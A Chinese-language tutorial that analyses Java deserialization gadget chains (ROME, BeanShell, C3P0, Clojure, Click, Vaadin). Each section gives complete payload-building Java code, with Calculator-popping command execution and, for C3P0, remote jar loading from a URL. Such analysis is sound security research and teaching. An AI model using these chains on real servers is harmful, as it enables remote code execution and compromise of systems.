Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin

ROME

俗话说:条条大路通罗马(All Roads Lead to ROME.),ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。

ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

前置知识

ObjectBean

com.sun.syndication.feed.impl.ObjectBean 是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。

ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equalstoStringclone 以及 hashCode 方法。

来看一下 ObjectBean 的 hashCode 方法,会调用 EqualsBean 的 beanHashCode 方法。

会调用 EqualsBean 中保存的 _objtoString() 方法。

而这个 toString() 方法也就是触发利用链的地方,继 BadAttributeValueExpException 之后的另一个使用 toString() 方法触发利用的链。

ToStringBean

com.sun.syndication.feed.impl.ToStringBean 类从名字可以看出,这个类给对象提供 toString 方法,类中有两个 toString 方法,第一个是无参的方法。获取调用链中上一个类或 _obj 属性中保存对象的类名,并调用第二个 toString 方法。

这个方法会调用 BeanIntrospector.getPropertyDescriptors() 来获取 _beanClass 的全部 getter/setter 方法,然后判断参数长度为 0 的方法使用 _obj 实例进行反射调用,翻译成人话就是会调用所有 getter 方法拿到全部属性值,然后打印出来。

获取 getter/setter 方法的逻辑很清晰。

由此可见,ToStringBean 的 toString() 方法可以触发其中 _obj 实例的全部 getter 方法,可以用来触发 TemplatesImpl 的利用链。

攻击构造

通过上述两个类,我们就可以构造出反序列化利用链了,利用链比较简单,代码如下:

public class Rome {

	public static String fileName = "Rome.bin";

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 使用 TemplatesImpl 初始化被包装类,使其 ToStringBean 也使用 TemplatesImpl 初始化
		ObjectBean delegate = new ObjectBean(Templates.class, tmpl);

		// 使用 ObjectBean 封装这个类,使其在调用 hashCode 时会调用 ObjectBean 的 toString
		// 先封装一个无害的类
		ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "su18"));

		// 放入 Map 中
		HashMap<Object, Object> map = new HashMap<>();
		map.put(root, "su18");
		map.put("su19", "su20");

		// put 到 map 之后再反射写进去,避免触发漏洞
		Field field = ObjectBean.class.getDeclaredField("_equalsBean");
		field.setAccessible(true);
		field.set(root, new EqualsBean(ObjectBean.class, delegate));

		SerializeUtil.writeObjectToFile(map, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 ROME 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 HashMap 反序列化触发 ObjectBean 的 hashCode 方法,再触发 ObjectBean 封装的 ObjectBean 的 toString 方法,会调用。
  2. Gadget 总结:
    • kick-off gadget:java.util.HashMap#readObject()
    • sink gadget:com.sun.syndication.feed.impl.ToStringBean#toString()
    • chain gadget:com.sun.syndication.feed.impl.ObjectBean#toString()
  3. 调用链展示:
HashMap.readObject()
    ObjectBean.hashCode()
            EqualsBean.beanHashCode()
                ObjectBean.toString()
                    ToStringBean.toString()
                        TemplatesImpl.getOutputProperties()
  1. 依赖版本

rome : 1.0

BeanShell

BeanShell 是一个小型的 , 免费的 , 可嵌入的Java源代码解释器 , 具有使用Java编写的对象脚本语言功能。BeanShell 能够执行标准的 Java 语句和表达式 , 也可以使用通用的脚本语言约定和语法将 Java 扩展到脚本域。

Github地址:https://github.com/beanshell/beanshell
用户文档:https://beanshell.github.io/manual/bshmanual.html

前置知识

Interpreter

bsh.Interpreter 就是将 BeanShell 脚本解释并执行的解释器。

Interpreter 的用法很简单,可以通过 set() 方法来设置变量,然后通过 eval() 方法来解释和执行脚本,解析和设置的变量都会保存在 Interpreter 实例的成员变量 globalNameSpace 中。

bsh.NameSpace 就是一个保存着方法、变量、引入包的命名空间。NameSpace 与一个 Interpreter 实例共同构成了一个 Bsh 脚本对象的上下文。

XThis

bsh.This 是 Bsh 脚本对象类型,一个 This 对象就是一个 Bsh 脚本的对象的上下文,一个 This 对象储存了 NameSpace 和 Interpreter。并提供了一些方法用于操作上下文中的内容:

其中 invokeMethod 方法提供了使用 Java 代码从 Bsh 脚本外部调用方法的功能,如下可弹计算器。

XThisbsh.This 对象的子类,在 This 的基础上添加了通用接口代理机制的支持。也就是 InvocationHandler。

XThis 中有一个内部类 Handler,实现了 InvocationHandler 接口并重写了 invoke 方法,调用了 invokeImpl 方法。

invokeImpl 方法特殊处理了 equalstoString 方法,调用了 invokeMethod 执行对应的方法,并使用 Primitive.unwrap() 处理返回值。

也就是说,XThis 是一个 Bsh 脚本的对象的代理类,可以在外部通过这个代理类调用 Bsh 脚本的方法。

攻击构造

在简单了解了上面两个类的知识后,就可以开始尝试构造调用链了。

ysoserial 给出的调用链是使用 PriorityQueue 进行触发,然后使用 XThis 中的 Handler 来动态代理 Comparator ,这样在反序列化 PriorityQueue 时会触发 Comparator 的 compare 方法,会调用 XThis 中 Handler 的 invoke 方法去调用,由于这个动态代理类可以调用 Bsh 脚本中的方法,我们可以提前在 XThis 中的 NameSpace 中定义好一个 compare 方法,这样在就能在动态代理中完成调用。

构造代码如下:

public class BeanShell {

	public static String fileName = "BeanShell.bin";

	public static void main(String[] args) throws Exception {

		// compare 函数,需要接受两个参数,返回 Integer 类型
		String func = "compare(Object whatever,Object dontCare) {java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");return new Integer(1);}";

		// 将 compare 方法注册至 Interpreter 实例上下文中
		Interpreter i = new Interpreter();
		i.eval(func);

		// 创建 XThis 对象,获取其 invocationHandler
		XThis xt           = new XThis(i.getNameSpace(), i);
		Field handlerField = XThis.class.getDeclaredField("invocationHandler");
		handlerField.setAccessible(true);
		InvocationHandler handler = (InvocationHandler) handlerField.get(xt);

		// 使用 XThis$Handler 为 Comparator 创建动态代理
		Comparator<Object> comparator = (Comparator<Object>) Proxy.newProxyInstance(
				Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

		// 在初始化时不带入 comparator
		PriorityQueue<Object> queue = new PriorityQueue<>(2);
		queue.add("1");
		queue.add("2");

		Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
		field.setAccessible(true);
		field.set(queue, comparator);

		SerializeUtil.writeObjectToFile(queue, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

那其实有了这种思路,其实可以利用 XThis 来实现任意 kick-off 的触发,因为可以使用动态代理执行任何方法。

总结

以上就是 BeanShell 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 PriorityQueue 反序列化触发 Comparator 的 compare 方法,使用 XThis$Handler 动态代理 Comparator,并在其 Interpreter 内构造带有恶意代码的 compare 方法触发调用。
  2. Gadget 总结:
    • kick-off gadget:java.util.PriorityQueue#readObject()
    • sink gadget:bsh.This#invokeMethod()
    • chain gadget:bsh.XThis$Handler#invokeImpl()
  3. 调用链展示:
PriorityQueue.readObject()
    Comparator.compare()
            XThis$Handler.invoke()
                XThis$Handler.invokeImpl()
                    This.invokeMethod()
                        BshMethod.invoke()
  1. 依赖版本

bsh : 2.0b5 (已修复)

C3P0

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate、Spring等。

关于 C3P0 的使用和关键类的解释在这篇文章中写的很详细,本文就不再现学现卖了。

前置知识

PoolBackedDataSourceBase

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase 本质上也是一个封装对象,其中储存了 PropertyChangeSupport 和 VetoableChangeSupport 对象,用于支持监听器的功能。

这个类在序列化和反序列化时,要保存内部的 ConnectionPoolDataSource 成员变量,如果 connectionPoolDataSource 本身是不可序列化的对象,则使用 ReferenceIndirector 对其进行引用的封装,返回一个可以被序列化的 IndirectlySerialized 实例对象。

其中会调用 ConnectionPoolDataSource 的 getReference 方法返回一个 Reference 对象,并使用 ReferenceSerialized 对象对其封装。

反序列化时,调用其 IndirectlySerialized#getObject() 方法重新生成 ConnectionPoolDataSource 对象。

ReferenceSerialized 的 getObject() 调用 InitialContext#lookup() 方法尝试使用 JNDI 来获取相应的对象,在 contextName、env 均为空的情况化,则调用 ReferenceableUtils.referenceToObject() 使用 Reference 中的信息来获取。

可以看到使用了 URLClassLoader 从 URL 中加载了类并实例化。

这样就可以通过想办法插入恶意 URL 来触发漏洞。

攻击构造

可以看到本条链的调用构造是比较简单的,我们需要构造一个不可序列化的并且实现了 Referenceable 的 ConnectionPoolDataSource 对象,其 getReference() 方法返回带有恶意类位置的 Reference 对象即可。恶意代码如下:

public class C3P0ForHttpBase {

	public static String fileName = "C3P0ForHttpBase.bin";

	private static final class MyPool implements ConnectionPoolDataSource, Referenceable {

		private String className;

		private String url;

		public MyPool(String className, String url) {
			this.className = className;
			this.url = url;
		}

		public Reference getReference() throws NamingException {
			return new Reference("su18", this.className, this.url);
		}

		public PrintWriter getLogWriter() throws SQLException {
			return null;
		}

		public void setLogWriter(PrintWriter out) throws SQLException {
		}

		public void setLoginTimeout(int seconds) throws SQLException {
		}

		public int getLoginTimeout() throws SQLException {
			return 0;
		}

		public Logger getParentLogger() throws SQLFeatureNotSupportedException {
			return null;
		}

		public PooledConnection getPooledConnection() throws SQLException {
			return null;
		}

		public PooledConnection getPooledConnection(String user, String password) throws SQLException {
			return null;
		}

	}

	public static void main(String[] args) throws Exception {

		PoolBackedDataSource     p    = (PoolBackedDataSource) SerializeUtil.createInstanceUnsafely(PoolBackedDataSource.class);
		ConnectionPoolDataSource pool = new MyPool("org.su18.serializable.PureEvilClass", "http://localhost:9999/1.jar");

		Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
		field.setAccessible(true);
		field.set(p, pool);

		SerializeUtil.writeObjectToFile(p, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

除了 ysoserial 提供的这条利用链之外,李三师傅还分享了两个其他的 C3P0 利用方式,分别是使用 JndiRefForwardingDataSource/WrapperConnectionPoolDataSource 的 setter 方法触发 JNDI 查询/Hex 类字节码加载的方式,在 fastjson/jackson 中可以利用。

总结

以上就是 C3P0 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 反序列化 PoolBackedDataSourceBase 时会处理其中的 ConnectionPoolDataSource,其中会触发 JNDI 查询或 URLClassLoader 加载指定的 jar 文件中的类,在本条利用链中是利用了后者。
  2. Gadget 总结:
    • kick-off gadget:com.mchange.v2.c3p0.impl.BackedDataSourceBase#readObject()
    • sink gadget:java.net.URLClassLoader#loadClass()
    • chain gadget:com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject()
  3. 调用链展示:
PoolBackedDataSourceBase.readObject()
    ReferenceIndirector.getObject()
        ReferenceableUtils.referenceToObject()
            Class.forName0()
                URLClassLoader.loadClass()
  1. 依赖版本

c3p0 : 0.9.5.2

Clojure

Clojure 是一种运行在 Java 平台上的 Lisp 方言,Lisp 是一种以表达性和功能强大著称的编程语言。

类比 Groovy 和 BeanShell,Clojure 又是一条在 Java 上解析和执行的新的一种编程语言的利用链。

这个漏洞的作者是 JackOfMostTrades,是 gadgetinspector 的作者,并且在其 2018 年 blackhat 上议题的 PPT 中以此链为例子进行了自动化挖掘的描述。

也就是说,这条链是非人工挖掘出来的利用链。

前置知识

clojure.java.shell.sh

clojure 提供了封装的执行命令方法,位于 clojure.java.shell 下的 sh 函数:

可以看到是调用了 Java 的 Runtime.getRuntime().exec() 来执行系统命令。使用 clojure 执行系统命令的写法为:

(use '[clojure.java.shell :only [sh]])
(sh"open" "-a" "Calculator.app")

也可以直接调用 Java 的方法,写为:

(import 'java.lang.Runtime)
(. (Runtime/getRuntime) exec"open -a Calculator.app")

clojure 的其他写法这里就不描述了。

Compiler.eval

想要在 Java 中解析和执行 Clojure 代码,肯定是要有类似 eval 的解析处理函数。那就是 clojure.core 中的 eval 方法。

实际调用 clojure.lang.Compiler#eval(java.lang.Object, boolean)。这个函数将会解析和调用传入的对象,通常是 PersistentList 对象。

我们可以仿照程序逻辑自己写一些调用代码:

main$eval_opt

了解了 eval 的执行实现后,接下来找 sink 点。

main$eval_opt.invokeStatic 方法会调用 clojure.core$eval.invokeStatic() 方法。

后续调用 Compiler.eval() 触发解析。

那直接这样写就可以弹计算器了:

String payload = "(use '[clojure.java.shell :only [sh]])(sh\"open\" \"-a\" \"Calculator.app\")";
main$eval_opt.invokeStatic(payload);

AbstractTableModel$ff19274a

接下来关注一下反序列化漏洞的触发,AbstractTableModel$ff19274a 这个类也是一个封装引用类,这个类有一个成员变量 __clojureFnMap,是一个 IPersistentMap 类型的对象。调用 AbstractTableModel$ff19274a 的很多方法,都是在 IPersistentMap 中寻找储存的对象,并调用其 invoke 方法进行执行的。

而 IPersistentMap 可能是 clojure 封装的 Map/Method/Field/Constructor 等对象。对于 Map 类型的对象,可以使用 PersistentArrayMap.create() 方法来封装。

那么就可以使用这个类作为 hashCode/toString 触发点的后续,调用储存对象的 invoke 方法,而 clojure 里的类又几乎都有 invoke 方法。只需要找到合适的触发链。

core$comp$fn__4727

core$comp$fn__4727 类初始化时储存了两个对象

在调用其 invoke 方法时,会 this.g 的 invoke 方法,并将结果给 this.f 的 invoke 方法。

实际上这个类是整条调用链的关键,我们只需要让 this.gmain$eval_opt 类,this.f 的 invoke 方法返回待解析的恶意 payload。

core$constantly$fn__4614

core$constantly$fn__4614 将构造函数的对象传入 this.x 中,在调用 doInvoke 方法时返回,而由于其 getRequiredArity() 方法也返回 0,因此调用其 invoke 方法时,也会返回 this.x 中储存的对象。

因此我们使用这个类来保存待解析的 payload 字符串,在调用这个类的 invoke 方法时即可返回 payload。

攻击构造

这里尝试了使用 HashMap 和 BadAttributeValueExpException 两种触发方式均可,最终的攻击代码为:

public class Clojure {

	public static String fileName = "Clojure.bin";

	public static void main(String[] args) throws Exception {

		// 执行系统命令的两种写法,本质都是使用 java.lang.Runtime 类
		String payload1 = "(import 'java.lang.Runtime)\n" +
				"(. (Runtime/getRuntime) exec\"open -a Calculator.app\")";

		String payload2 = "(use '[clojure.java.shell :only [sh]])\n" +
				"(sh\"open\" \"-a\" \"Calculator.app\")";

		// 初始化 AbstractTableModel$ff19274a 对象
		AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();

		HashMap<Object, Object> map = new HashMap<>();

		// 使用 core$constantly$fn__4614 保存 payload 对象,调用其 invoke 方法时会返回 payload
		core$constantly$fn__4614 core1 = new core$constantly$fn__4614(payload2);
		// 将 core$constantly$fn__4614 和 main$eval_opt 保存在 core$comp$fn__4727 中
		core$comp$fn__4727 core2 = new core$comp$fn__4727(core1, new clojure.main$eval_opt());


		// 将 hashCode 与 core$comp$fn__4727 进行映射
		map.put("hashCode", core2);
		model.__initClojureFnMappings(PersistentArrayMap.create(map));

		// 使用 HashMap hashCode 触发
//		HashMap<Object, Object> hashMap = new HashMap<>();
//		hashMap.put(model,"su18");
//		hashMap.put("su19","su20");
//		SerializeUtil.writeObjectToFile(hashMap, fileName);

		// 实例化 BadAttributeValueExpException 并反射写入
		BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
		Field                         field     = BadAttributeValueExpException.class.getDeclaredField("val");
		field.setAccessible(true);
		field.set(exception, model);

		// 使用 BadAttributeValueExpException toString 触发,还是会调用 hashCode 方法
		SerializeUtil.writeObjectToFile(exception, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 Clojure 链分析的全部内容了,通过包的类名、方法调用,可以发现这确实不是一般人类能手工挖出来的利用链。最后总结一下。

  1. 利用说明:
    • 利用 HashMap/BadAttributeValueExpException 来触发 AbstractTableModel$ff19274a 的 hashCode/toString 方法,调用其成员变量中保存的 clojure.core$comp$fn__4727 的 invoke 方法,会调用 clojure.core$constantly$fn__4614 的 invoke 方法触发 clojure.main$eval_opt 解析带有恶意的代码 Clojure 代码,造成漏洞。
  2. Gadget 总结:
    • kick-off gadget:java.util.HashMap#readObject()
    • sink gadget:clojure.main$eval_opt#invoke()
    • chain gadget:clojure.core$comp$fn__4727#invoke()
  3. 调用链展示:
HashMap.readObject()
    AbstractTableModel$ff19274a.hashCode()
        clojure.core$comp$fn__4727.invoke()
            clojure.core$constantly$fn__4614.invoke()
                clojure.main$eval_opt.invoke()
                    clojure.core$eval.invokeStatic()
                        Compiler.eval()
  1. 依赖版本

clojure > 1.2.0

Click1

Apache Click 是一个 JEE Web 框架,据官方网站介绍,开发者一天就可以上手跑起服务。

但是用的人并不多,所以这里也主要关注利用点的相关知识。

前置知识

PropertyUtils

click 中有一个工具类 org.apache.click.util.PropertyUtils,用来操作属性,其中有一个 getValue 方法用来获取某个对象中某个属性的值。

方法处理完 name 之后将会调用 getObjectPropertyValue 方法,传入对象实例、属性名和方法缓存三个参数。

可以看到在 getObjectPropertyValue 方法中,是获取了传入对象实例中指定属性名的 getter 方法,然后通过反射调用。

也就是说,PropertyUtils 的 getValue 方法会触发指定属性的 getter 方法,可以用来触发 TemplatesImpl 利用方式。

ColumnComparator

org.apache.click.control.Column 用来提供表格中 <td>/<th> 的一些属性的渲染。Column 类实现了 Serializable 接口,可以被反序列化。

在 Column 中定义了一个内部类 ColumnComparator,实现了 Comparator 接口,用来比较一个 Column 中的两个 row。

比较时会调用 this.columngetProperty 方法。

在 row 不是 map 类型的情况下,这个方法会调用到 PropertyUtils 的 getValue 方法获取值。

攻击构造

有了上面两个类,就可以构造出从 PriorityQueue 到 TemplatesImpl 的利用链了。攻击代码如下:

public class Click {

	public static String fileName = "Click.bin";

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		// 初始化 PriorityQueue
		PriorityQueue<Object> queue = new PriorityQueue<>(2);
		queue.add("su18");
		queue.add("su19");

		// 反射将 TemplatesImpl 放在 PriorityQueue 里
		Field field = PriorityQueue.class.getDeclaredField("queue");
		field.setAccessible(true);
		Object[] objects = (Object[]) field.get(queue);
		objects[0] = tmpl;

		Class<?>       c           = Class.forName("org.apache.click.control.Column$ColumnComparator");
		Constructor<?> constructor = c.getDeclaredConstructor(Column.class);
		constructor.setAccessible(true);

		Column column = new Column("outputProperties");
		// 为了避免反序列化比较时的空指针,为 column 设置一个 Table 属性
		column.setTable(new Table());
		Comparator<?> comparator = (Comparator<?>) constructor.newInstance(column);

		// 反射将 BeanComparator 写入 PriorityQueue 中
		Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
		field2.setAccessible(true);
		field2.set(queue, comparator);

		SerializeUtil.writeObjectToFile(queue, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 Click 链分析的全部内容了,可以看到触发方式与 CB 链极其类似,都是使用 Comparator 触发属性的 getter 方法。最后总结一下。

  1. 利用说明:
    • PriorityQueue 反序列化触发 Column$ColumnComparator 类的 compare 方法,会调用 PropertyUtils 的 getValue 方法获取属性值,使用了的是反射调用 getter 方法,触发 TemplatesImpl 利用链。
  2. Gadget 总结:
    • kick-off gadget:java.util.PriorityQueue#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
    • chain gadget:org.apache.click.control.Column$ColumnComparator#compare()
  3. 调用链展示:
PriorityQueue.readObject()
    Column$ColumnComparator.compare()
        Column.getProperty()
            PropertyUtils.getValue()
                PropertyUtils.getObjectPropertyValue()
                    TemplatesImpl.getOutputProperties()
  1. 依赖版本

click-nodeps : 2.3.0

Vaadin1

Vaadin 是一个在Java后端快速开发web应用程序的平台。用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。

又是一个没有听说过的平台框架。Vaadin 的反序列化调用链同样十分简单,依旧是使用反射调用 getter 方法的类来触发 TemplatesImpl 利用链,接下来看一下具体的调用点。

前置知识

NestedMethodProperty

com.vaadin.data.util.NestedMethodProperty 类是一个封装访问属性方法的类。构造方法接收两个参数,一个是对象实例,一个是属性值。初始化时将调用 initialize 方法获取实例类中的相关信息存放在成员变量中。

等到调用 NestedMethodProperty 的 getValue 方法时,就会反射调用封装对象指定属性的 getter 方法。

因此这个类又是可以触发 TemplatesImpl 的利用方式。

PropertysetItem

触发类是 com.vaadin.data.util.PropertysetItem ,这个类用来存储 Property 属性值,为其映射一个 id 对象。

数据存放在成员变量 map 中,想要获取相应属性时,则调用 getItemProperty 方法在 map 中获取。

映射的 id 对象则储存在成员变量 list 中。

PropertysetItem 的 toString 方法,获取全部 id 对象并遍历,使用 getItemProperty 方法获取映射的 Property 属性对象,并调用其 getValue 方法。

因此可以使用 PropertysetItem 的 toString 方法触发 NestedMethodProperty 的 getValue 方法。完成漏洞链的构造。

攻击构造

代码:

public class Vaadin {

	public static void main(String[] args) throws Exception {

		// 生成包含恶意类字节码的 TemplatesImpl 类
		TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

		PropertysetItem pItem = new PropertysetItem();

		NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object>(tmpl, "outputProperties");
		pItem.addItemProperty("outputProperties", nmprop);

		// 实例化 BadAttributeValueExpException 并反射写入
		BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
		Field                         field     = BadAttributeValueExpException.class.getDeclaredField("val");
		field.setAccessible(true);
		field.set(exception, pItem);

		SerializeUtil.writeObjectToFile(exception);
		SerializeUtil.readFileObject();
	}
}

总结

以上就是 Vaadin 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 反序列化 BadAttributeValueExpException 触发 PropertysetItem 的 toString 方法 调用到 NestedMethodProperty 的 getValue 方法。
  2. Gadget 总结:
    • kick-off gadget:javax.management.BadAttributeValueExpException#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
    • chain gadget:com.vaadin.data.util.NestedMethodProperty#getValue()
  3. 调用链展示:
BadAttributeValueExpException.readObject()
    PropertysetItem.toString()
            PropertysetItem.getPropertyId()
                NestedMethodProperty.getValue()
                    TemplatesImpl.getObjectPropertyValue()
  1. 依赖版本

vaadin-server : 7.7.14
vaadin-shared : 7.7.14